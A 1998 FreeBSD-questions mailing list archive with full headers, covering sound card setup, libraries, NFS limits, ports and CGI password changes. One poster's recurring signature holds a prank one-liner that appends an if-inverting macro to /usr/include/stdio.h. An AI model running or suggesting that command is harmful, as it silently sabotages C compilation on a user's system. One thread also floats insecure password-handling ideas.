working properly. ***** Also I cannot do /dev/sh MAKEDEV pnp0 or pcm0 comes back stating no such device name # Luigi's snd code (use INSTEAD of snd0 and all VOXWARE drivers!). # You may also wish to enable the pnp controller with this, for pnp # sound cards. # device pcm0 at isa? port ? tty irq 5 drq 1 flags 0x0 vector pcmintr ***** I DID CHANGE IRQ 10 to 5 as above****** dmesg does show device pcm0 with irq 5 I've tried to configure snd0 with sb0 and now am trying pcm0 . The LINT File says see pnp(4) for more info. Can someone kindly direct me to where I can find this information. I've searched the on-line handbook, ftp.freebsd.org freeBSD-stable man pages, Just can't seem to find any info re pnp(4) : # Enable PnP support in the kernel. This allows you to automaticly # attach to PnP cards for drivers that support it and allows you to # configure cards from USERCONFIG. See pnp(4) for more info. controller pnp0 Thank You /sd To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 11:24:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA12419 for freebsd-questions-outgoing; Sat, 11 Apr 1998 11:24:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail.ahnet.net [207.213.224.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA12403 for ; Sat, 11 Apr 1998 11:24:15 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p18.apc.net [207.211.76.172]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id LAA07354; Sat, 11 Apr 1998 11:16:40 -0700 (PDT) Message-Id: <3.0.5.32.19980411111916.008f4ca0@207.213.224.25> X-Sender: 5808.dima@207.213.224.25 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sat, 11 Apr 1998 11:19:16 -0700 To: Doug White From: Dima Dorfman Subject: Re: Modem Software Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: References: <3.0.5.32.19980410175010.008f6de0@207.213.224.25> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm looking for kermit, not minicom. And when I went to configure minicom, it asked ME where kermit is! Thanks! Dima At 12:30 AM 4/11/98 -0700, you wrote: >On Fri, 10 Apr 1998, Dima Dorfman wrote: > >> not there > >Hm, looks like you want an explicit URL. > >This is to minicom: > >ftp://ftp.freebsd.org/pub/FreeBSD/packages-2.2.6/comms/minicom-1.78.tgz > >Apologies for the misunderstanding. > >Doug White | University of Oregon >Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant >http://gladstone.uoregon.edu/~dwhite | Computer Science Major > > > --- Thanks! Dima Dorfman - dima@zwb.net "640k ought to be enough for anybody." - Bill Gates, 1981 - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 11:35:11 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA13504 for freebsd-questions-outgoing; Sat, 11 Apr 1998 11:35:11 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from netcom13.netcom.com (sauber@netcom13.netcom.com [192.100.81.125]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA13448 for ; Sat, 11 Apr 1998 11:34:47 -0700 (PDT) (envelope-from sauber@netcom.com) Received: from localhost (sauber@localhost) by netcom13.netcom.com (8.8.5-r-beta/8.8.5/(NETCOM v1.02)) with SMTP id LAA08981 for ; Sat, 11 Apr 1998 11:34:46 -0700 (PDT) Date: Sat, 11 Apr 1998 11:34:46 -0700 (PDT) From: Soren Dossing X-Sender: sauber@netcom13 To: questions@FreeBSD.ORG Subject: Can't find shared library "libdes.so.3.0" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I get what to me seems almost randomly this message: Can't find shared library "libdes.so.3.0" It appears if I want to run ppp, but pppd runs fine. I was confused about this, but settled with the pppd solution. Yesterday I wanted to run Speak Freely, and again I got this libdes message. This was with a package install. I tried to install as a port instead, but the executables (sfspeaker, sfmike etc.) did immidiate core dumps, so I went back to the package install... of course they still terminated with the libdes message. My system is FreeBSD-2.2.6. I installed Speak Freely on another system, also running 2.2.6, but here it works without giving me the libdes error message, which really confuses me. Both systems does not have libdes installed, since some of the programs I'm running on them depend on MD5. I have been running ppp on 2.2, 2.2.1, 2.2.2 and 2.2.5 without any problems. So I conclude there is some kind of weirdness in 2.2.6 that causes these problems. I cannot see why ppp or Speak Freely should break because of these missing (and unneeded) crypto libraries. Per suggestion from ERRATA.TXT I tried work-around no 2 ( symbolic link to libcrypt.so.2.0) which resulted in core dumps again for Speak Freely. Any insight or suggestions? Please CC me since I'm not a subscriber. Thanks, Soren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 11:45:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA14774 for freebsd-questions-outgoing; Sat, 11 Apr 1998 11:45:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.hcol.net (root@ns.hcol.net [205.152.99.16]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA14629 for ; Sat, 11 Apr 1998 11:44:52 -0700 (PDT) (envelope-from val@hcol.net) Received: from ns.hcol.net (val@smtp.hcol.net [205.152.99.19]) by ns.hcol.net (8.8.6/8.8.6) with SMTP id NAA04015 for ; Sat, 11 Apr 1998 13:44:19 -0500 (CDT) Date: Sat, 11 Apr 1998 13:44:19 -0500 (CDT) From: Val To: freebsd-questions@FreeBSD.ORG Subject: Reboots on zip Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to see what could cause a server to reboot if I try to zip a big file? It would run a whole bunch of programs fine (sendmail, dns, radius, etc), but when i try to zip or gzip a big file (something like 400Mb) it would reboot without writing a syslog entry :( The server has 128Mb of ram so I was thinking is it possible that other programs just never get to the last memory blocks and therefore do not experience problems? Or is it something with the software setup? Any input would be appreciated. Val. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:22:31 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA20423 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:22:31 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pop02.globecomm.net (pop02.globecomm.net [207.51.48.186]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA20393 for ; Sat, 11 Apr 1998 12:22:20 -0700 (PDT) (envelope-from SirGumshoe@myself.com) Received: from sirgumshoe (wck-ca22-28.ix.netcom.com [207.92.174.156]) by pop02.globecomm.net (8.8.8/8.8.0) with SMTP id PAA06288 for ; Sat, 11 Apr 1998 15:22:31 -0400 (EDT) Message-ID: <352FC2E0.6D20@myself.com> Date: Sat, 11 Apr 1998 12:22:08 -0700 From: Jeff Umscheid X-Mailer: Mozilla 3.04Gold (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: /usr/ports Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG i was installing various software packages, and i noticed they were installing to /usr/ports. I CDed to that directory and it said it did not exist...how do i access the software ports? JeFF To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:25:12 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA21253 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:25:12 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from pop.uniserve.com (pop.uniserve.com [204.244.156.3]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id MAA20637 for ; Sat, 11 Apr 1998 12:24:05 -0700 (PDT) (envelope-from tom@uniserve.com) Received: from shell.uniserve.com [204.244.186.218] by pop.uniserve.com with smtp (Exim 1.82 #4) id 0yO5sf-0006Kg-00; Sat, 11 Apr 1998 12:24:01 -0700 Date: Sat, 11 Apr 1998 12:23:59 -0700 (PDT) From: Tom To: freebsd-questions@FreeBSD.ORG Subject: maximum file size with NFS? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What is the maximum file size supported by NFS? It seems the limit is 2GB as I can't work with files bigger than that with NFS. Tom To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:28:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA21982 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:28:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail.ahnet.net [207.213.224.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA21969 for ; Sat, 11 Apr 1998 12:28:14 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p18.apc.net [207.211.76.172]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id MAA12227; Sat, 11 Apr 1998 12:20:38 -0700 (PDT) Message-Id: <3.0.5.32.19980411122408.00934510@207.213.224.25> X-Sender: 5808.dima@207.213.224.25 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sat, 11 Apr 1998 12:24:08 -0700 To: Paul Dekkers From: Dima Dorfman Subject: Re: password change via the web?! Cc: freebsd-questions@FreeBSD.ORG In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Such a script would be very hard to make secure, because to change a password, you have to run with root's permissions. However, this can be accomplished by hacking the 'passwd' code, and changing all calls to getpass(3) to return an argument from the command line. Then, write a script that takes input from a form, and converts that into a call to the first program. This, however, is still insecure. Thanks! Dima At 07:00 PM 4/11/98 +0200, you wrote: >Hi > >I know I already asked this once here, but there wasn't an answer: does >anyone have a cgi-script to change one's password under FreeBSD (and/or >Linux?) > >Paul > >-- >Paul Dekkers >E-Mail: >To err is human, to moo bovine > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > --- Thanks! Dima Dorfman - dima@zwb.net "640k ought to be enough for anybody." - Bill Gates, 1981 - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:33:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA22884 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:33:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from eve.speakeasy.org (douglas@eve.speakeasy.org [199.238.226.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA22858 for ; Sat, 11 Apr 1998 12:33:38 -0700 (PDT) (envelope-from douglas@speakeasy.org) Received: from localhost (douglas@localhost) by eve.speakeasy.org (8.8.5/8.7.3) with SMTP id MAA17114 Date: Sat, 11 Apr 1998 12:33:32 -0700 (PDT) From: "Three goddesses, Venus figures" To: Dima Dorfman cc: Paul Dekkers , freebsd-questions@FreeBSD.ORG Subject: Re: password change via the web?! In-Reply-To: <3.0.5.32.19980411122408.00934510@207.213.224.25> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Dima Dorfman wrote: > Such a script would be very hard to make secure, because to change a > password, you have to run with root's permissions. Actually, you could use a perl/expect combo to do this without running as root and without hacking the passwd code. -- "Tact is just not saying true things. I'll pass." "No more frogs." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:34:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA23410 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:34:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA23339 for ; Sat, 11 Apr 1998 12:34:15 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul6.u.washington.edu (root@saul6.u.washington.edu [140.142.82.1]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id MAA19446; Sat, 11 Apr 1998 12:34:14 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul6.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id MAA08203; Sat, 11 Apr 1998 12:34:14 -0700 (PDT) Date: Sat, 11 Apr 1998 11:33:01 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Richard Broza cc: Mike72757 , freebsd-questions@FreeBSD.ORG Subject: Re: bsdunix version 2.2.5 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > what your describing you are trying to execute the /usr directory, just to > point you can't execute directories unless there is a executable file You cannot "execute" a directory at all. At least not like you "execute" a program. The term "execute" takes a special meaining when it refers to the permissions of a directory. A directory that has an "executable" permission set is searchable. You can list files in the directory that allows you to "execute" (ie search) that directory. The "executability" of a program is a seperate but related issue. Which is discussed by the previous poster. The rest of this is valid. > within that directory. Example to a exec a file within a dir.. the syntax > is : > > // ie.. /usr/thefile > or /usr/X11R6/bin/thefile Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:40:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA24965 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:40:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.ahnet.net (mail.ahnet.net [207.213.224.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA24952 for ; Sat, 11 Apr 1998 12:40:08 -0700 (PDT) (envelope-from webmaster@zwb.net) Received: from znet-pdcs (icg-apc-pr1-p18.apc.net [207.211.76.172]) by mail.ahnet.net (8.8.7/8.8.6) with SMTP id MAA13058 for ; Sat, 11 Apr 1998 12:32:39 -0700 (PDT) Message-Id: <3.0.5.32.19980411123616.009374e0@207.213.224.25> X-Sender: 5808.dima@207.213.224.25 X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32) Date: Sat, 11 Apr 1998 12:36:16 -0700 To: freebsd-questions@FreeBSD.ORG From: Dima Dorfman Subject: Re: password change via the web?! Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG That won't work, because with just perl because getpass(3) prints to a tty, not stdin. I don't know what expect is, but I've tried it before with pipes. Thanks! Dima At 12:33 PM 4/11/98 -0700, you wrote: >On Sat, 11 Apr 1998, Dima Dorfman wrote: > >> Such a script would be very hard to make secure, because to change a >> password, you have to run with root's permissions. > >Actually, you could use a perl/expect combo to do this without running as >root and without hacking the passwd code. > >-- > "Tact is just not saying true things. I'll pass." > "No more frogs." > > --- Thanks! Dima Dorfman - dima@zwb.net "640k ought to be enough for anybody." - Bill Gates, 1981 - Bill Gates To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:40:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA24988 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:40:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-18.waterford.indigo.ie [194.125.139.81]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA24950 for ; Sat, 11 Apr 1998 12:40:07 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id UAA06687; Sat, 11 Apr 1998 20:40:28 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804111940.UAA06687@indigo.ie> Date: Sat, 11 Apr 1998 20:40:28 +0000 In-Reply-To: Tom "maximum file size with NFS?" (Apr 11, 12:23pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Tom , freebsd-questions@FreeBSD.ORG Subject: Re: maximum file size with NFS? Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 11, 12:23pm, Tom wrote: } Subject: maximum file size with NFS? > > What is the maximum file size supported by NFS? It seems the limit is > 2GB as I can't work with files bigger than that with NFS. 2GB is a typical maximum file size under UNIX, the UNIX community have already published a standard API which handles 64bit file sizes but AFAIK I don't believe FreeBSD supports it, yet (?) nor do I believe the standard encompasses NFS. -- Niall Smart. Microsoft Suck. See www.freebsd.org for details. Annoy your enemies and amaze your friends: echo "#define if(x) if(!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:41:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA25481 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:41:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-18.waterford.indigo.ie [194.125.139.81]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA25374 for ; Sat, 11 Apr 1998 12:41:01 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id UAA06697; Sat, 11 Apr 1998 20:41:23 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804111941.UAA06697@indigo.ie> Date: Sat, 11 Apr 1998 20:41:23 +0000 In-Reply-To: Val "Reboots on zip" (Apr 11, 1:44pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Val , freebsd-questions@FreeBSD.ORG Subject: Re: Reboots on zip Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 11, 1:44pm, Val wrote: } Subject: Reboots on zip > It would run a whole bunch of programs fine (sendmail, dns, radius, etc), > but when i try to zip or gzip a big file (something like 400Mb) it would > reboot without writing a syslog entry :( The server has 128Mb of ram so I > was thinking is it possible that other programs just never get to the last > memory blocks and therefore do not experience problems? Sounds like bad RAM. Try swapping the SIMMS and seeing if it happens more often/with smaller files. Niall -- Niall Smart. Microsoft Suck. See www.freebsd.org for details. Annoy your enemies and amaze your friends: echo "#define if(x) if(!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:52:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA27045 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:52:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA26922 for ; Sat, 11 Apr 1998 12:51:53 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id OAA01553; Sat, 11 Apr 1998 14:51:51 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id OAA17235; Sat, 11 Apr 1998 14:51:46 -0500 (CDT) To: "Stephen A. Derdau" Cc: questions@FreeBSD.ORG Subject: Re: pnp(4) where it is? References: From: stephen farrell Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 11 Apr 1998 14:51:45 -0500 In-Reply-To: "Stephen A. Derdau"'s message of "Sat, 11 Apr 1998 13:59:50 -0400 (EDT)" Message-ID: <87hg40m90u.fsf@phaedrus.uchicago.edu> Lines: 63 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Stephen A. Derdau" writes: > "FreeBSD It's That and Much Much More" > Find out Why @ http://www.freebsd.org > 04/11/98 > > I'm running 2.2.6-stable. I have my cd-rom sound running through the pcm0 > device > I'm trying to get audio files like .ra au etc to play > through my speakers also as well as beable to > use my microphone. However I can't seem to do so. > I don't think I have the card working properly. What's dmesg say (this will show the results of the kernel hardware probe). Also, what's you appropriate entry in your kernel config look like? > ***** Also I cannot do /dev/sh MAKEDEV pnp0 or pcm0 > comes back stating no such device name I'm not sure of the details, but these devices don't show up in /dev, they just exist in some magic kernel space. > # Luigi's snd code (use INSTEAD of snd0 and all VOXWARE drivers!). # You may > also wish to enable the pnp controller with this, for pnp # sound cards. # > device pcm0 at isa? port ? tty irq 5 drq 1 flags 0x0 vector pcmintr > ***** I DID CHANGE IRQ 10 to 5 as above****** dmesg does show device pcm0 > with irq 5 Ok... this is a little hard to read. Run pnpinfo and look at the *bottom* of the output--this tells you what your card is actually configured like. > I've tried to configure snd0 with sb0 and now am trying pcm0 . The > LINT File says see pnp(4) for more info. Can someone kindly direct > me to where I can find this information. I've searched the on-line > handbook, ftp.freebsd.org freeBSD-stable man pages, Just can't seem > to find any info re pnp(4) : # Enable PnP support in the kernel. > This allows you to automaticly attach to PnP cards for drivers that > support it and allows you to # configure cards from USERCONFIG. See > pnp(4) for more info. controller pnp0 Well, the one detail that is not terribly well documented is that you need to make snd1 devices (MAKEDEV snd1) and you need to fix the links to point to the "1" devices, not the "0" devices. ls -l /dev | grep "\->" gives me: lrwxrwxrwx 1 root wheel 6 Apr 7 23:07 audio -> audio1 lrwxrwxrwx 1 root wheel 4 Apr 7 23:07 dsp -> dsp1 lrwxrwxrwx 1 root wheel 5 Apr 7 23:07 dspW -> dspW1 lrwxrwxrwx 1 root wheel 6 Apr 7 23:07 mixer -> mixer1 lrwxrwxrwx 1 root wheel 6 Apr 7 23:08 music -> music1 lrwxrwxrwx 1 root wheel 4 Apr 7 23:08 pss -> pss1 lrwxrwxrwx 1 root wheel 10 Apr 7 23:08 sequencer -> sequencer1 (shoot me if there is a way to do this automatically--i just made the links by hand) -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 12:52:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA27241 for freebsd-questions-outgoing; Sat, 11 Apr 1998 12:52:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA27192 for ; Sat, 11 Apr 1998 12:52:29 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id OAA01557; Sat, 11 Apr 1998 14:52:27 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id OAA17242; Sat, 11 Apr 1998 14:52:25 -0500 (CDT) To: Jeff Umscheid Cc: freebsd-questions@FreeBSD.ORG Subject: Re: /usr/ports References: <352FC2E0.6D20@myself.com> From: stephen farrell Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 11 Apr 1998 14:52:25 -0500 In-Reply-To: Jeff Umscheid's message of "Sat, 11 Apr 1998 12:22:08 -0700" Message-ID: <87emz4m8zq.fsf@phaedrus.uchicago.edu> Lines: 12 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jeff Umscheid writes: > i was installing various software packages, and i noticed they were > installing to /usr/ports. I CDed to that directory and it said it did > not exist...how do i access the software ports? http://freebsd.org/ports/ -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 13:08:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA29518 for freebsd-questions-outgoing; Sat, 11 Apr 1998 13:08:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from indigo.ie (nsmart@ts01-18.waterford.indigo.ie [194.125.139.81]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA29506 for ; Sat, 11 Apr 1998 13:08:36 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id VAA06832; Sat, 11 Apr 1998 21:08:04 +0100 (IST) (envelope-from rotel@indigo.ie) From: Niall Smart Message-Id: <199804112008.VAA06832@indigo.ie> Date: Sat, 11 Apr 1998 21:08:04 +0000 In-Reply-To: Dima Dorfman "Re: password change via the web?!" (Apr 11, 12:36pm) Reply-To: rotel@indigo.ie X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: Dima Dorfman , freebsd-questions@FreeBSD.ORG Subject: Re: password change via the web?! Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Apr 11, 12:36pm, Dima Dorfman wrote: } Subject: Re: password change via the web?! > That won't work, because with just perl because getpass(3) prints to a tty, > not stdin. I don't know what expect is, but I've tried it before with pipes. If you don't know what expect is then don't say it won't work. It will. -- Niall Smart. Microsoft Suck. See www.freebsd.org for details. Annoy your enemies and amaze your friends: echo "#define if(x) if(!(x))" >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 13:47:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA04441 for freebsd-questions-outgoing; Sat, 11 Apr 1998 13:47:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from value.net (goldfish@value.net [204.188.125.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA04435 for ; Sat, 11 Apr 1998 13:47:21 -0700 (PDT) (envelope-from goldfish@value.net) From: goldfish@value.net Received: from localhost (goldfish@localhost) by value.net (8.8.7/8.7.4) with SMTP id NAA26606 for ; Sat, 11 Apr 1998 13:47:20 -0700 (PDT) Date: Sat, 11 Apr 1998 13:47:20 -0700 (PDT) To: questions@FreeBSD.ORG Subject: If my network is connected with NE2000, should NATD be run over , ppp0? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG My ISP connects to me through kernel ppp, my home PC (besides the gateway PC) connects through a NE2000 card (one on each machine). Which interface should I run NATD on? ed0 or ppp0? Please copy me. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 13:57:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06277 for freebsd-questions-outgoing; Sat, 11 Apr 1998 13:57:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA06265 for ; Sat, 11 Apr 1998 13:57:43 -0700 (PDT) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.8/8.8.8) id PAA01506; Sat, 11 Apr 1998 15:57:31 -0500 (EST) (envelope-from toor) Message-Id: <199804112057.PAA01506@dyson.iquest.net> Subject: Re: maximum file size with NFS? In-Reply-To: <199804111940.UAA06687@indigo.ie> from Niall Smart at "Apr 11, 98 08:40:28 pm" To: rotel@indigo.ie Date: Sat, 11 Apr 1998 15:57:31 -0500 (EST) Cc: tom@uniserve.com, freebsd-questions@FreeBSD.ORG From: "John S. Dyson" Reply-To: 